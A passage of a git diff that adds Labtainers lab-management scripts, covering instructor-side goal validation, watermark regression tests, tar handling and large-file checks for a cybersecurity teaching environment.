doc_list = [] + for sub in sub_list: + if sub.startswith('Submiss'): + sub_dir = os.path.join(spath, sub) + student_subs = os.listdir(sub_dir) + for ssub in student_subs: + if ssub.endswith('docx'): + doc_status = 'docx' + doc_list.append(os.path.join(sub_dir, ssub)) + elif ssub.endswith('odt'): + doc_status = 'odt' + doc_list.append(os.path.join(sub_dir, ssub)) + elif ssub.endswith('.zip'): + zip_status = 'yes' + zippath = os.path.join(sub_dir, ssub) + zipoutput = zipfile.ZipFile(zippath, "r") + if doc_status == 'NONE': + for zi in zipoutput.infolist(): + zname = zi.filename + if zname == 'docs.zip': + doc_status = 'docs.zip' + zip_file_data = BytesIO(zipoutput.read(zname)) + + #print('doc_status is %s' % doc_status) + if doc_status == 'NONE' and zip_file_data is not None: + with zipfile.ZipFile(zip_file_data) as zip_docs: + for zi in zip_docs.namelist(): + fname, ext = os.path.splitext(zi) + if (ext == '.docx' or ext == '.odg') and (fname+'.pdf' not in zip_docs.namelist()): + zip_docs.extract(zi, sresults) + else: + for doc in doc_list: + shutil.copyfile(doc, os.path.join(sresults, os.path.basename(doc))) + + print('%-40s %10s %10s' % (s, doc_status, zip_status)) + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/validate.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/validate.py new file mode 100755 index 000000000..6b70f3c56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/validate.py @@ -0,0 +1,536 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Filename: validate.py +# Description: +# This is the validate script to be run by the instructor. +# Note: +# 1. It needs 'start.config' file, where +# is given as a parameter to the script. +# + +import getpass +import glob +import json +import md5 +import os +import sys +import shutil + +instructor_cwd = os.getcwd() +instructor_bin = os.path.join(instructor_cwd, 'assess_bin') +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +student_bin = os.path.join(student_cwd, 'lab_bin') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +sys.path.append(student_bin) +sys.path.append(instructor_bin) + +import evalExpress +import labutils +import logging +import GoalsParser +import LabtainerLogging +import ParseStartConfig +import ParameterParser +import ResultParser + +# TEMPORARY PATH - to copy 'config' and 'instr_config' to validate +TEMPDIR="/tmp/vallabtainers" + +executefilelist = [] + +boolean_tokens = ['(',')','and_not', 'AND_NOT', 'or_not', 'OR_NOT', 'not','NOT','and','AND','or','OR','True','False'] + + +def validate_parameter_result(parameter_list, resultidlist, goals, inputtag): + validate_ok = True + use_target = "" + if "." in inputtag: + (use_target, inputtagstring) = inputtag.split('.') + if use_target == "": + use_target = "result" + inputtagstring = inputtag + if use_target == "parameter" or use_target == "parameter_ascii": + if inputtagstring not in parameter_list: + validate_ok = False + elif use_target == "result": + if inputtagstring not in resultidlist: + # handle expression here + if inputtagstring.startswith('(') and inputtagstring.endswith(')'): + express = inputtagstring[inputtagstring.find("(")+1:inputtagstring.find(")")] + for tag in resultidlist: + labutils.logger.DEBUG('is tag %s in express %s' % (tag, express)) + if tag in express: + # Replace each occurence of tag with 2 + express = express.replace(tag, "2") + try: + labutils.logger.DEBUG('try eval of <%s>' % express) + result = evalExpress.eval_expr(express) + except: + labutils.logger.ERROR('could not evaluation %s, which became %s' % (inputtagstring, express)) + validate_ok = False + else: + labutils.logger.ERROR('invalid tag %s' % inputtagstring) + validate_ok = False + else: + validate_ok = False + return validate_ok + +def check_count(parameter_list, resultidlist, goals, jsongoalid, jsonresulttag): + found_error = False + # Make sure the resulttag is valid - no special case for resulttag + validate_resulttag_ok = validate_parameter_result(parameter_list, resultidlist, goals, jsonresulttag) + if not validate_resulttag_ok: + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid resulttag (%s)" % (jsongoalid, jsonresulttag)) + + if not validate_resulttag_ok: + found_error = True + return found_error + +def check_countgreater(parameter_list, resultidlist, goals, jsongoalid, jsonanswertag, boolean_string): + found_error = False + try: + value = int(jsonanswertag) + except: + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid int (%s)" % (jsongoalid, jsonanswertag)) + # boolean_string must start with '(' and end with ')' + # and contains comma separated goals + validate_ok = True + if boolean_string.startswith('(') and boolean_string.endswith(')'): + express = boolean_string[boolean_string.find("(")+1:boolean_string.find(")")] + for tag in express.split(','): + goaltag = tag.strip() + # goaltag must be in goals otherwise it is an error + found_goaltag_in_goals = False + if goaltag in resultidlist: + found_goaltag_in_goals = True + else: + for eachgoal in goals: + if goaltag == eachgoal['goalid']: + found_goaltag_in_goals = True + break + if found_goaltag_in_goals: + continue + else: + labutils.logger.ERROR('invalid goal %s in %s' % (goaltag, boolean_string)) + validate_ok = False + break + else: + labutils.logger.ERROR('ERROR: expected goals %s in parens' % boolean_string) + validate_ok = False + if not validate_ok: + found_error = True + return found_error + +def check_temporal(parameter_list, resultidlist, goals, jsongoalid, goal1tag, goal2tag): + found_error = False + goal1tag_ok = True + goal2tag_ok = True + # goal1tag must be in goals, or a result name (TBD should only be booleans) otherwise it is an error + found_goaltag_in_goals = False + if goal1tag in resultidlist: + found_goaltag_in_goals = True + else: + for eachgoal in goals: + if goal1tag == eachgoal['goalid']: + found_goaltag_in_goals = True + break + if not found_goaltag_in_goals: + goal1tag_ok = False + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid goal1tag (%s)" % (jsongoalid, goal1tag)) + # goal2tag must be in goals otherwise it is an error + found_goaltag_in_goals = False + if goal2tag in resultidlist: + found_goaltag_in_goals = True + else: + for eachgoal in goals: + if goal2tag == eachgoal['goalid']: + found_goaltag_in_goals = True + break + if not found_goaltag_in_goals: + goal2tag_ok = False + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid goal2tag (%s)" % (jsongoalid, goal2tag)) + if not (goal1tag_ok and goal2tag_ok): + found_error = True + return found_error + +def check_boolean(parameter_list, bool_results, goals, jsongoalid, boolean_string): + found_error = False + # Make it easier to tokenize later + boolean_string = boolean_string.replace('(', ' ( ') + boolean_string = boolean_string.replace(')', ' ) ').strip() + # boolean_string must start with '(' and end with ')' + # must be token separated goals + validate_ok = True + if boolean_string.startswith('(') and boolean_string.endswith(')'): + for tag in boolean_string.split(): + goaltag = tag.strip() + # if goaltag is valid boolean operator, skip + if goaltag in boolean_tokens: + continue + # goaltag must be in goals otherwise it is an error + found_goaltag_in_goals = False + if goaltag in bool_results: + found_goaltag_in_goals = True + else: + for eachgoal in goals: + if goaltag == eachgoal['goalid']: + found_goaltag_in_goals = True + break + if found_goaltag_in_goals: + continue + else: + labutils.logger.ERROR('invalid goal %s in %s' % (goaltag, boolean_string)) + validate_ok = False + break + else: + labutils.logger.ERROR('ERROR: expected goals %s in parens' % boolean_string) + validate_ok = False + if not validate_ok: + found_error = True + return found_error + +def check_execute(parameter_list, resultidlist, goals, jsongoalid, executefilepath, jsonanswertag, jsonresulttag): + found_error = False + executefile = os.path.basename(executefilepath) + executefile_ok = True + if executefile not in executefilelist: + executefile_ok = False + + validate_answertag_ok = True + # Make sure the answertag is valid + # Handle special case 'answer=' + if '=' in jsonanswertag: + # skip it + validate_answertag_ok = True + else: + validate_answertag_ok = validate_parameter_result(parameter_list, resultidlist, goals, jsonanswertag) + if not validate_answertag_ok: + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid answertag (%s)" % (jsongoalid, jsonanswertag)) + + # Make sure the resulttag is valid - resulttag can't have 'answer=' + validate_resulttag_ok = validate_parameter_result(parameter_list, resultidlist, goals, jsonresulttag) + if not validate_resulttag_ok: + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid resulttag (%s)" % (jsongoalid, jsonresulttag)) + + if not (executefile_ok and validate_answertag_ok and validate_resulttag_ok): + found_error = True + + return found_error + +def check_matches(parameter_list, resultidlist, goals, jsongoalid, jsonanswertag, jsonresulttag): + found_error = False + validate_answertag_ok = True + # Make sure the answertag is valid + # Handle special case 'answer=' + if '=' in jsonanswertag: + # skip it + validate_answertag_ok = True + else: + validate_answertag_ok = validate_parameter_result(parameter_list, resultidlist, goals, jsonanswertag) + if not validate_answertag_ok: + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid answertag (%s)" % (jsongoalid, jsonanswertag)) + + validate_resulttag_ok = True + # Make sure the resulttag is valid - no special case for resulttag + validate_resulttag_ok = validate_parameter_result(parameter_list, resultidlist, goals, jsonresulttag) + if not validate_resulttag_ok: + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid resulttag (%s)" % (jsongoalid, jsonresulttag)) + + if not (validate_answertag_ok and validate_resulttag_ok): + found_error = True + + return found_error + +def validate_goals(parameter_list, resultidlist, goals, bool_results): + #labutils.logger.DEBUG("Result ID list is ") + #labutils.logger.DEBUG(resultidlist) + #labutils.logger.DEBUG("Parameter list is ") + #labutils.logger.DEBUG(parameter_list) + #labutils.logger.DEBUG("Goals list is ") + #labutils.logger.DEBUG(goals) + found_error = False + for eachgoal in goals: + #labutils.logger.DEBUG("Current goal is ") + #labutils.logger.DEBUG(eachgoal) + #labutils.logger.DEBUG(" goalid is (%s)" % eachgoal['goalid']) + #labutils.logger.DEBUG(" goaltype is (%s)" % eachgoal['goaltype']) + #labutils.logger.DEBUG(" answertag is (%s)" % eachgoal['answertag']) + #labutils.logger.DEBUG(" resulttag is (%s)" % eachgoal['resulttag']) + jsongoalid = eachgoal['goalid'] + jsongoaltype = eachgoal['goaltype'] + + found_error = False + if (jsongoaltype == "matchany" or + jsongoaltype == "matchlast" or + jsongoaltype == "matchacross"): + jsonanswertag = eachgoal['answertag'] + jsonresulttag = eachgoal['resulttag'] + found_error = check_matches(parameter_list, resultidlist, goals, jsongoalid, jsonanswertag, jsonresulttag) + elif jsongoaltype == "execute": + executefilepath = eachgoal['goaloperator'] + jsonanswertag = eachgoal['answertag'] + jsonresulttag = eachgoal['resulttag'] + found_error = check_execute(parameter_list, resultidlist, goals, jsongoalid, executefilepath, jsonanswertag, jsonresulttag) + elif jsongoaltype == "boolean": + boolean_string = eachgoal['boolean_string'] + found_error = check_boolean(parameter_list, bool_results, goals, jsongoalid, boolean_string) + elif jsongoaltype == "time_before" or jsongoaltype == "time_during" or jsongoaltype == "time_not_during": + goal1tag = eachgoal['goal1tag'] + goal2tag = eachgoal['goal2tag'] + found_error = check_temporal(parameter_list, resultidlist, goals, jsongoalid, goal1tag, goal2tag) + elif jsongoaltype == "count_greater": + boolean_string = eachgoal['boolean_string'] + jsonanswertag = eachgoal['answertag'] + found_error = check_countgreater(parameter_list, resultidlist, goals, jsongoalid, jsonanswertag, boolean_string) + elif jsongoaltype == "count" or jsongoaltype == "value": + jsonresulttag = eachgoal['resulttag'] + found_error = check_count(parameter_list, resultidlist, goals, jsongoalid, jsonresulttag) + elif jsongoaltype.startswith('is_'): + jsonresulttag = eachgoal['resulttag'] + validate_resulttag_ok = validate_parameter_result(parameter_list, resultidlist, goals, jsonresulttag) + if not validate_resulttag_ok: + found_error = True + labutils.logger.ERROR("ERROR: Goals goalid (%s) has invalid resulttag (%s)" % (jsongoalid, jsonresulttag)) + else: + sys.stdout.write("Error: Invalid goal type: %s\n eachgoal is %s" % (jsongoaltype, str(eachgoal))) + sys.exit(1) + + # Found an error - break for loop + if found_error: + return False + if not found_error: + return True + else: + return False + + +def setup_to_validate(lab_path, labname, validatetestsets, validatetestsets_path, logger): + # Create TEMPDIR - remove if it exists + if os.path.exists(TEMPDIR): + shutil.rmtree(TEMPDIR) + TEMPLOCAL = os.path.join(TEMPDIR, ".local") + TEMPLOCALBIN = os.path.join(TEMPDIR, ".local", "bin") + os.makedirs(TEMPLOCAL) + os.makedirs(TEMPLOCALBIN) + + # Pick arbitrary e-mail + user_email = "validate%s@dummy.org" % labname + #config_path = os.path.join(lab_path,"config") + #start_config_path = os.path.join(config_path,"start.config") + #start_config = ParseStartConfig.ParseStartConfig(start_config_path, labname, "instructor", labutils.logger) + labtainer_config, start_config = labutils.GetBothConfigs(lab_path, 'instructor', logger) + + + # Warns if xterm has no instruction.txt file + for container_name, container in start_config.containers.items(): + if container.xterm is not None: + # instruction.txt file path + instruction_path = "%s/%s/instructions.txt" % (lab_path, container_name) + if not (os.path.exists(instruction_path) and os.path.isfile(instruction_path)): + logger.WARNING("container %s instruction_path file %s not found" % (container_name, instruction_path)) + + lab_master_seed = start_config.lab_master_seed + # Create hash using LAB_MASTER_SEED concatenated with user's e-mail + # LAB_MASTER_SEED is per laboratory - specified in start.config + string_to_be_hashed = '%s:%s' % (lab_master_seed, user_email) + mymd5 = md5.new() + mymd5.update(string_to_be_hashed) + lab_instance_seed = mymd5.hexdigest() + labutils.logger.DEBUG("seed %s" % lab_instance_seed) + + # Create files + LAB_SEEDFILE = os.path.join(TEMPLOCAL, ".seed") + with open(LAB_SEEDFILE, "w") as fh: + fh.write("%s\n" % lab_instance_seed) + fh.close() + USER_EMAILFILE = os.path.join(TEMPLOCAL, ".email") + with open(USER_EMAILFILE, "w") as fh: + fh.write("%s\n" % user_email) + fh.close() + LAB_NAMEFILE = os.path.join(TEMPLOCAL, ".labname") + with open(LAB_NAMEFILE, "w") as fh: + fh.write("%s\n" % labname) + fh.close() + WATERMARK_NAMEFILE = os.path.join(TEMPLOCAL, ".watermark") + string_to_be_hashed = '%s:%s' % (lab_instance_seed, user_email) + mymd5 = md5.new() + mymd5.update(string_to_be_hashed) + watermark = mymd5.hexdigest() + labutils.logger.DEBUG("watermark %s" % watermark) + with open(WATERMARK_NAMEFILE, "w") as fh: + fh.write("%s\n" % watermark) + fh.close() + + # Copy 'config' and 'instr_config' from LABPATH to TEMPLOCAL + LAB_CONFIG = os.path.join(lab_path, "config") + LAB_INSTRCONFIG = os.path.join(lab_path, "instr_config") + TEMP_LAB_CONFIG = os.path.join(TEMPLOCAL, "config") + TEMP_LAB_INSTRCONFIG = os.path.join(TEMPLOCAL, "instr_config") + shutil.copytree(LAB_CONFIG, TEMP_LAB_CONFIG) + shutil.copytree(LAB_INSTRCONFIG, TEMP_LAB_INSTRCONFIG) + # If we are doing validatetestsets - replace the three config files + if validatetestsets: + parameterconfig_path = os.path.join(validatetestsets_path, "parameter.config") + resultsconfig_path = os.path.join(validatetestsets_path, "results.config") + goalsconfig_path = os.path.join(validatetestsets_path, "goals.config") + target_parameterconfig_path = os.path.join(TEMP_LAB_CONFIG, "parameter.config") + target_resultsconfig_path = os.path.join(TEMP_LAB_INSTRCONFIG, "results.config") + target_goalsconfig_path = os.path.join(TEMP_LAB_INSTRCONFIG, "goals.config") + shutil.copy(parameterconfig_path, target_parameterconfig_path) + shutil.copy(resultsconfig_path, target_resultsconfig_path) + shutil.copy(goalsconfig_path, target_goalsconfig_path) + + # Get a list of any executable in '_bin' directory + # except fixlocal.sh, treataslocal, startup.sh + binfilelist = glob.glob("%s/*/_bin/*" % lab_path) + for binfilepath in binfilelist: + binfilename = os.path.basename(binfilepath) + if not (binfilename == "fixlocal.sh" or + binfilename == "treataslocal" or + binfilename == "startup.sh"): + if binfilename not in executefilelist: + executefilelist.append(binfilename) + shutil.copy(binfilepath, TEMPLOCALBIN) + + email_labname = "%s.%s" % (user_email.replace("@","_at_"), labname) + + container_list = [] + container_list.append(start_config.grade_container) + for name, container in start_config.containers.items(): + if container.full_name not in container_list: + container_list.append(container.full_name) + + return lab_instance_seed, container_list, email_labname + +# Validate resultidlist for 'system' in 'treataslocal' +def ValidateTreataslocal(labname, lab_path, resultidlist, logger): + checklist = [] + for key, progname_type in resultidlist.iteritems(): + if ':' in progname_type: + #container_name, newprogname_type = progname_type.split(':') + container_name = labname + parts = progname_type.split(':') + if len(parts) == 2: + if parts[0].startswith('/'): + newprogname_type = parts[0] + else: + container_name = parts[0] + newprogname_type = parts[1] + elif len(parts) == 3: + container_name = parts[0] + newprogname_type = parts[1] + else: + container_name = labname + newprogname_type = progname_type + if newprogname_type.startswith('*'): + # start with wildcard, skip + continue + if newprogname_type.endswith('stdin') or newprogname_type.endswith('stdout'): + execprog, type = newprogname_type.rsplit('.', 1) + if execprog == "precheck": + # skip checklocal + continue + else: + # skipping non stdin/stdout + continue + + if execprog in checklist: + # already checked before, skip + continue + + # Test for execprog using which locally + command = "which %s > /dev/null" % execprog + + checklist.append(execprog) + + # If os.system(command) is zero, i.e., success then + if os.system(command) == 0: + # Test against corresponding container's treataslocal file (loop through to check) + treataslocal_path = "%s/%s/_bin/treataslocal" % (lab_path, container_name) + if not (os.path.exists(treataslocal_path) and os.path.isfile(treataslocal_path)): + logger.WARNING("treataslocal file %s not found when validating command %s from %s %s" % (treataslocal_path, execprog, key, progname_type)) + user_input=raw_input("Would you like to quit? (yes/no)\n") + user_input=user_input.strip().lower() + #print "user_input (%s)" % user_input + if user_input == "yes": + sys.exit(1) + with open(treataslocal_path) as fh: + execlist_from_file = [os.path.basename(line.strip()) for line in fh] + if not execprog in execlist_from_file: + logger.ERROR("treataslocal path %s in treataslocal" % treataslocal_path) + logger.ERROR("result id (%s) has exec program %s not found in treataslocal" % (key, execprog)) + sys.exit(1) + +def DoValidate(lab_path, labname, validatetestsets, validatetestsets_path, logger): + labutils.is_valid_lab(lab_path) + + lab_instance_seed, container_list, email_labname = setup_to_validate(lab_path, labname, validatetestsets, validatetestsets_path, logger) + logger.DEBUG("container_list (%s)" % container_list) + + LabDirName = os.path.join(TEMPDIR, email_labname) + # Just validating - not actual parsing + actual_parsing = False + configfilelines, resultidlist, bool_results = ResultParser.ParseValidateResultConfig(actual_parsing, TEMPDIR, LabDirName, container_list, labname, logger) + + # Validate resultidlist for 'system' in 'treataslocal' + ValidateTreataslocal(labname, lab_path, resultidlist, logger) + + parameter_list = GoalsParser.ParseGoals(TEMPDIR, TEMPDIR, logger) + # GoalsParser created goals.json in parent directory + parent_dir = os.path.dirname(TEMPDIR) + goalsjsonfname = os.path.join(parent_dir, '.local','result','goals.json') + goalsjson = open(goalsjsonfname, "r") + goals = json.load(goalsjson) + goalsjson.close() + #logger.DEBUG("Goals JSON config is") + #logger.DEBUG(goals) + + return validate_goals(parameter_list, resultidlist, goals, bool_results) + +# Usage: validate.py | -c +# -c to run validate.py against +def main(): + num_args = len(sys.argv) + if num_args < 2 or num_args > 3: + sys.stderr.write("Usage: validate.py | -c \n") + sys.stderr.write(" -c to run validate.py against .\n") + sys.exit(1) + validatetestsets = False + validatetestsets_path = "" + if num_args == 2: + labname = sys.argv[1] + validatetestsetsname = "NONE" + else: + validatetestsets = True + validatetestsetsname = sys.argv[2] + dir_path = os.path.dirname(os.path.realpath(__file__)) + dir_path = dir_path[:dir_path.index("scripts")] + validatetestsets_path = os.path.join(dir_path, "testsets", "validate", validatetestsetsname) + print "current path is (%s)" % validatetestsets_path + labname_path = os.path.join(validatetestsets_path, "labname") + if not (os.path.exists(labname_path) and os.path.isfile(labname_path)): + sys.stderr.write("labname file for %s does not exists!\n" % validatetestsetsname) + sys.exit(1) + else: + with open(labname_path) as fh: + labname = fh.read().strip() + + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging validate.py for %s lab" % labname) + labutils.logger.DEBUG("Instructor CWD = (%s), Student CWD = (%s)" % (instructor_cwd, student_cwd)) + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + DoValidate(lab_path, labname, validatetestsets, validatetestsets_path, labutils.logger) + return 0 + +if __name__ == '__main__': + sys.exit(main()) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/watermarktest.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/watermarktest.py new file mode 100755 index 000000000..2a81e094f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/watermarktest.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Filename: watermarktest.py +# Description: +# Watermark Testing script. This script will make use of labutils. +# +# + +import sys +import os +instructor_cwd = os.getcwd() +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +# Append Student CWD to sys.path +sys.path.append(student_cwd+"/bin") +import labutils +import logging +import LabtainerLogging + +def usage(): + sys.stderr.write("Usage: watermarktest.py [ | -a ]\n") + sys.stderr.write(" : watermark test on only\n") + sys.stderr.write(" -a : continue running watermark test from \n") + sys.exit(1) + +# Usage: watermarktest.py +# Arguments: None +LABS_ROOT = os.path.abspath('../../labs') +def main(): + labnamelist = [] + num_args = len(sys.argv) + choplist = False + if num_args == 1: + labnamelist = os.listdir(LABS_ROOT) + elif num_args == 2: + labnamelist.append(sys.argv[1]) + elif num_args == 3: + dash_a = sys.argv[1] + if dash_a != "-a": + usage() + labnamelist = os.listdir(LABS_ROOT) + labnamestart = sys.argv[2] + if labnamestart not in labnamelist: + sys.stderr.write("Using non-existent with -a option!\n") + usage() + choplist = True + else: + usage() + + finallabnamelist = [] + if choplist: + startfound = False + for labname in sorted(labnamelist): + if not startfound: + if labname == labnamestart: + finallabnamelist.append(labname) + startfound = True + else: + continue + else: + finallabnamelist.append(labname) + else: + finallabnamelist = labnamelist + + for labname in sorted(finallabnamelist): + labutils.logger = LabtainerLogging.LabtainerLogging("labtainer.log", labname, "../../config/labtainer.config") + labutils.logger.INFO("Begin logging watermarktest.py for %s lab" % labname) + labutils.logger.DEBUG("Current name is (%s)" % labname) + fulllabname = os.path.join(LABS_ROOT, labname) + if labname == "etc" or labname == "bin": + labutils.logger.DEBUG("skipping etc or bin") + continue + + if os.path.isdir(fulllabname): + labutils.logger.DEBUG("(%s) is directory - assume (%s) is a labname" % (fulllabname, labname)) + + # Watermark will do test following: + # 1. This will stop containers of a lab, create or update lab images and start the containers. + # 2. After the containers are started, it will invoke 'instructor.py' on the GRADE_CONTAINER. + # 3. Stop the containers to obtain the 'grades.txt' + # 4. Compare 'grades.txt.GOLD' vs. 'grades.txt' + dir_path = os.path.dirname(os.path.realpath(__file__)) + dir_path = dir_path[:dir_path.index("trunk")] + dir_path += "trunk/testsets/watermark/" + labname + if not os.path.isdir(dir_path): + labutils.logger.INFO("no tests found for "+labname) + continue + + crude_standards = os.listdir(dir_path) + standards = [] + isFirstRun = True + for items in crude_standards: + if "." not in items: + standards.append(items) + lab_path = os.path.join(LABS_ROOT, labname) + for standard in standards: + WatermarkTestResult = labutils.WatermarkTest(lab_path, "instructor", standard, isFirstRun=isFirstRun) + isFirstRun = False + if WatermarkTestResult == False: + # False means grades.txt.GOLD != grades.txt, output error then break + print("WatermarkTest fails on %s lab %s" % (labname, standard)) + sys.exit(1) + else: + print("WatermarkTest on %s lab SUCCESS %s" % (labname, standard)) + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/zip-saki.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/zip-saki.py new file mode 100755 index 000000000..6fc9c8b66 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/bin/zip-saki.py @@ -0,0 +1,4 @@ +#!/bin/bash +cd ~/labtainer_xfer/$1 +tar czf /media/sf_SEED/$1.summary.tar *.txt reports + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/README b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/README new file mode 100644 index 000000000..a3cac2342 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/README @@ -0,0 +1,25 @@ +README for Labtainers trunk/scripts/labtainers-student +Additional details are labtainer-student.pdf + + +This is the Labtainers workspace from which all student +labs are started using: + + labtainer + +Leaving out the labname will result in display of a +list of labs. + +Use + + stoplab + +to stop a lab and collect its results. Note, it is +good practice to stop labs before transitioning to +new labs or to instructor instances, otherwise there +may be networking name conflicts. + +If you wish to restart a lab from scratch, wiping out +all previous data and work in the lab, use: + + labtainer -r diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/BigExternal.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/BigExternal.py new file mode 100755 index 000000000..597daec9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/BigExternal.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python +import sys +import os +import shutil +def BigExternal(lab_dir): + ''' + Ensure large files named in the config/bigexternal.txt are present in the lab directory + ''' + big_list = os.path.join(lab_dir,'config', 'bigexternal.txt') + if not os.path.isfile(big_list): + #print('Missing bigexternal.txt from %s' % big_list) + return + full = os.path.abspath(lab_dir) + if os.path.isfile(big_list): + with open(big_list) as fh: + for line in fh: + line = line.strip() + if len(line) > 0 and not line.startswith('#'): + from_file, to_file = line.split() + to_path = os.path.join(lab_dir, to_file) + if not os.path.isfile(to_path): + print('missing %s, get it from %s' % (to_path, from_file)) + exit(1) + size = os.stat(to_path).st_size + if size < 50000: + print('File at %s is supposed to be large.' % to_path) + print('Get the correct %s from %s' % (to_path, from_file)) + exit(1) + +if __name__ == '__main__': + lab_dir = sys.argv[1] + BigExternal(lab_dir) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/BigFiles.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/BigFiles.py new file mode 100755 index 000000000..eb07b1300 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/BigFiles.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python +import sys +import os +import shutil +def BigFiles(lab_dir): + ''' + Ensure large files named in the config/bigfiles.txt are present in the lab directory + ''' + big_list = os.path.join(lab_dir,'config', 'bigfiles.txt') + if not os.path.isfile(big_list): + #print('Missing bigfiles.txt from %s' % big_list) + return + full = os.path.abspath(lab_dir) + top = full[:full.index('labs')] + if os.path.isfile(big_list): + with open(big_list) as fh: + for line in fh: + line = line.strip() + if len(line) > 0 and not line.startswith('#'): + from_file, to_file = line.split() + from_path = os.path.join(top,'bigfiles', from_file) + to_path = os.path.join(lab_dir, to_file) + if not os.path.isfile(to_path): + if not os.path.isfile(from_path): + print('Missing large file: %s' % from_path) + print('Get it from mynps.edu/cyberciege/downloads/%s' % from_file) + exit(1) + else: + shutil.copy2(from_path, to_path) + +if __name__ == '__main__': + lab_dir = sys.argv[1] + BigFiles(lab_dir) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/CheckTars.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/CheckTars.py new file mode 100755 index 000000000..28caf536d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/CheckTars.py @@ -0,0 +1,191 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' +import sys +import os +import shutil +''' +Look at _tar directories for the given labs/[lab]/[image] and +create or update tar files to reflect recent changes. Uses +an 'external-manifest' file to identify tars from other labs +that should be part of this one. +''' +external = 'external-manifest' +tmp_loc = '/tmp/check_tar' +def expandManifest(full, tar_name): + ''' + extract files from a tar named in an external manifest file + into a staging directory at tmp_loc + ''' + #print('expand for %s' % full) + mf = os.path.join(full, external) + labdir = os.path.dirname(os.path.dirname(os.path.dirname(full))) + #print('labdir is %s' % labdir) + with open(mf) as fh: + for line in fh: + lab, image = line.strip().split(':') + ref_tar = os.path.join(labdir, lab, image, os.path.basename(full), tar_name) + #print('external ref is %s' % ref_tar) + cmd = 'tar xf %s -C %s' % (ref_tar, tmp_loc) + os.system(cmd) + +def newest_referenced_tar(full, tar_name): + ''' + return a path to the most recent tar file named in an external + manifest. + ''' + retval = None + recent = 0 + labdir = os.path.dirname(os.path.dirname(os.path.dirname(full))) + mf = os.path.join(full, external) + with open(mf) as fh: + for line in fh: + lab, image = line.strip().split(':') + ref_tar = os.path.join(labdir, lab, image, os.path.basename(full), tar_name) + if not os.path.isfile(ref_tar): + print('Tar file named in manifest not found: %s component %s' % (ref_tar, full)) + exit(1) + tar_time = os.stat(ref_tar).st_mtime + if tar_time > recent: + retval = ref_tar + recent = tar_time + return retval + +def newest_file_in_tree(rootfolder): + return max( + (os.path.join(dirname, filename) + for dirname, dirnames, filenames in os.walk(rootfolder) + for filename in filenames), + key=lambda fn: os.stat(fn).st_mtime) + + +def copydir(source, dest): + """Copy a directory structure overwriting existing files""" + for root, dirs, files in os.walk(source): + if not os.path.isdir(root): + os.makedirs(root) + + for file in files: + rel_path = root.replace(source, '').lstrip(os.sep) + dest_path = os.path.join(dest, rel_path) + + if not os.path.isdir(dest_path): + os.makedirs(dest_path) + shutil.copyfile(os.path.join(root, file), os.path.join(dest_path, file)) + +def CheckTars(container_dir, image_name, logger): + here = os.getcwd() + if container_dir.endswith('/'): + container_dir = container_dir[:-1] + tar_list = os.listdir(container_dir) + manifest_name = '%s-home_tar.list' % image_name + lab_dir = os.path.dirname(container_dir) + logger.DEBUG('container_dir is %s' % container_dir) + manifest = 